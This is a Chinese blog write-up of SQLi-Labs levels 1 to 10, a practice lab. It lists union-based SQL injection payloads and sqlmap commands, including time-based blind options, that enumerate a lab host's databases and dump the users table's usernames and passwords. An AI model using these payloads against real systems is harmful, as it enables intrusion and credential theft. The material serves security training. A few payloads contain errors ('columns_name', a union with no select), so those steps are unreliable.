SQL注入|SQL注入 - SQLi-Labs靶场过关记录
Less-1
1、看报错类型,确定注入点
?id=1' order by 4--++
文章图片
2、确定数据库
?id=-1' union select 1,2,3--++
文章图片
3、查看数据库
?id=-1' union select 1,2,database(); --++
文章图片
4、查看数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++
文章图片
5、提取security数据库中的users表的信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++
文章图片
6、提取users表中的用户名和密码,注入完成
?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++
文章图片
Less - 2 1、直接测试报错
?id=1 order by 4--++
文章图片
2、查询当前数据库名
?id=-1 union select 1,2,database(); --++
文章图片
3、查看当前数据库所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --++
文章图片
4、查看users表的结构信息
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++
文章图片
【SQL注入|SQL注入 - SQLi-Labs靶场过关记录】5、查询users表中的用户名和密码
?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++
文章图片
Less - 3 1、测试报错,查看注入点
?id=1") order by 4--++
文章图片
2、查看当前用户、数据库版本、当前数据库
?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database()); --++
3、查看security库中的表
?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --++
文章图片
4、查看users表的结构
?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users'; --++
文章图片
5、查看users表中的username和password,完成注入
?id=1') union select 1,2,group_concat(username,"+",password) from security.users; --++
文章图片
Less - 4 1、测试报错,查找注入点
?id=1") order by 4--++
文章图片
2、查看当前用户、数据库版本、当前数据库
?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database()); --++
文章图片
3、查看security库中的表
?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security'; --++
文章图片
4、查看users表的结构,语句与上一关差不多
文章图片
5、查看users表中的username和password,完成注入
文章图片
Less - 5 1、测试报错
?id=1' order by 3--+
不报错,但无回显
文章图片
?id=1' order by 4--+
报错,确定存在注入点
文章图片
?id=1' union select 1,2,3--+
无数据回显,可能需要盲注
文章图片
2、用sqlmap跑一下,测试报错注入
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"
文章图片
3、查询所有数据库
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3
文章图片
4、查询当前数据库
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3
文章图片
5、查询当前数据库下的表
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3
文章图片
6、发现有一个名为users的表,查询users的所有字段名
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3
文章图片
7、发现username和password字段,查询这两个字段
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3
文章图片
Less - 6 1、测试报错
http://192.168.40.128:86/Less-6/?id=1" order by 3--+
没有报错,但是也没有数据回显
文章图片
http://192.168.40.128:86/Less-6/?id=1" order by 4--+
报错,确定存在注入点
文章图片
2、查询无回显,需要盲注
http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+
文章图片
3、使用sqlmap测试注入点
sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3
文章图片
4、使用sqlmap盲注查询所有数据库
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs
文章图片
5、sqlmap查询当前数据库
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3
文章图片
6、sqlmap查询当前数据库security下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3
文章图片
7、发现存在users表,查询该表中的所有字段
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3
文章图片
8、发现username和password字段,查询这两个字段的内容
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3
文章图片
Less - 7 1、测试报错
http://192.168.40.128:86/Less-7/?id=1')) order by 4--+
文章图片
2、sqlmap测试报错注入点
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3
文章图片
3、sqlmap查询当前数据库
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3
文章图片
4、sqlmap查询当前数据库下的所有表
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3
文章图片
5、发现存在users表,查询该表下所有字段名
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3
文章图片
6、发现字段username和password,查询内容
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3
文章图片
Less - 8 1、测试报错
文章图片
2、直接sqlmap跑注入点
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3
文章图片
3、sqlmap查询当前用户
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3
文章图片
4、sqlmap查询所有数据库
文章图片
5、查询当前数据库
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3
文章图片
6、查询当前数据库下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3
文章图片
7、发现users表,查询表中所有字段
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3
文章图片
Less - 9 1、测试单双引号和字符均无报错,直接sqlmap测试
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3
文章图片
2、查询所有数据库
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3
文章图片
3、查询当前数据库与用户名
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3
文章图片
文章图片
4、查询当前数据库下的所有表
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3
文章图片
5、发现users表,查询字段
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3
文章图片
6、发现username和password字段,查询内容
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3
文章图片
Less - 10 1、使用sqlmap进行延时注入,level设置为3,可以测试双字符,线程设置为10
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9
文章图片
Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq
2、sqlmap测试当前数据库
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db
文章图片
当前数据库名:security
3、sqlmap测试当前数据库下的表名
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3
文章图片
当前数据库security下存在的表:emails、referes、uagents、users
4、直接爆数据
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3
文章图片
推荐阅读
- mysql分组后合并显示一个字段的多条数据方式
- Docker中优化Mysql运行内存的操作
- docker实现MySQL数据同步的方法
- 2022年一季度文章分类汇总
- mysql|mysql 段错误 (core dumped)_段错误调试神器 - Core Dump详解
- SQL注入|SQL注入漏洞详解(一)
- mysql|mysql sql注入漏洞修复_SQL注入漏洞解析与靶场复现
- 网络安全|利用SQL注入漏洞登录后台
- #|DVWA-sql注入漏洞详解
- mysql|mysql 注入 3.0_ThinkPHP 3.0~3.2 SQL注入漏洞详解与利用